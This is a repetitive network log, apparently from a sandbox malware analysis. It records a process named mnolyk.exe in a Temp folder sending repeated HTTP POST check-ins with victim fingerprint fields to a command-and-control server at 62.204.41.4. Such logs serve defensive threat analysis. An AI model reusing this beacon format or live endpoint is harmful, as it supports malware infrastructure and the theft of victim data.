Feb 6, 2023 18:38:36.911777973 CET	1048	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
589	192.168.2.7	50317	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:37.080324888 CET	1049	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:37.146085024 CET	1049	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.7	49784	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:11.941698074 CET	497	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:12.006139040 CET	498	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
590	192.168.2.7	50318	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:37.320678949 CET	1050	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:37.383331060 CET	1050	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
591	192.168.2.7	50319	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:37.557363987 CET	1051	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:37.621031046 CET	1051	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
592	192.168.2.7	50320	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:37.801532030 CET	1052	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:37.867260933 CET	1052	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
593	192.168.2.7	50322	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:38.036621094 CET	1059	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:38.104947090 CET	1060	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
594	192.168.2.7	50323	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:38.290728092 CET	1061	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:38.358603001 CET	1061	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
595	192.168.2.7	50324	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:38.548279047 CET	1062	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:38.612684011 CET	1062	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
596	192.168.2.7	50325	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:38.783317089 CET	1063	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:38.850310087 CET	1063	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
597	192.168.2.7	50326	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:39.035983086 CET	1064	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:39.102859020 CET	1064	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
598	192.168.2.7	50327	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:39.273407936 CET	1065	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:39.339062929 CET	1065	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
599	192.168.2.7	50328	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:39.535774946 CET	1066	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:39.604188919 CET	1066	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49730	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:35:58.016248941 CET	438	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:35:58.084274054 CET	438	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.7	49785	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:12.181175947 CET	498	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:12.247046947 CET	499	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
600	192.168.2.7	50329	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:39.784785032 CET	1067	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:39.848402023 CET	1067	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
601	192.168.2.7	50330	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:40.019565105 CET	1068	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:40.085058928 CET	1068	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
602	192.168.2.7	50331	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:40.257821083 CET	1069	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:40.322891951 CET	1069	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
603	192.168.2.7	50332	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:40.516329050 CET	1070	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:40.580770016 CET	1070	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
604	192.168.2.7	50333	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:40.754988909 CET	1071	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:40.820499897 CET	1071	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
605	192.168.2.7	50334	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:41.003923893 CET	1072	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:41.070502996 CET	1072	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
606	192.168.2.7	50335	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:41.243352890 CET	1073	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:41.308324099 CET	1073	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
607	192.168.2.7	50336	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
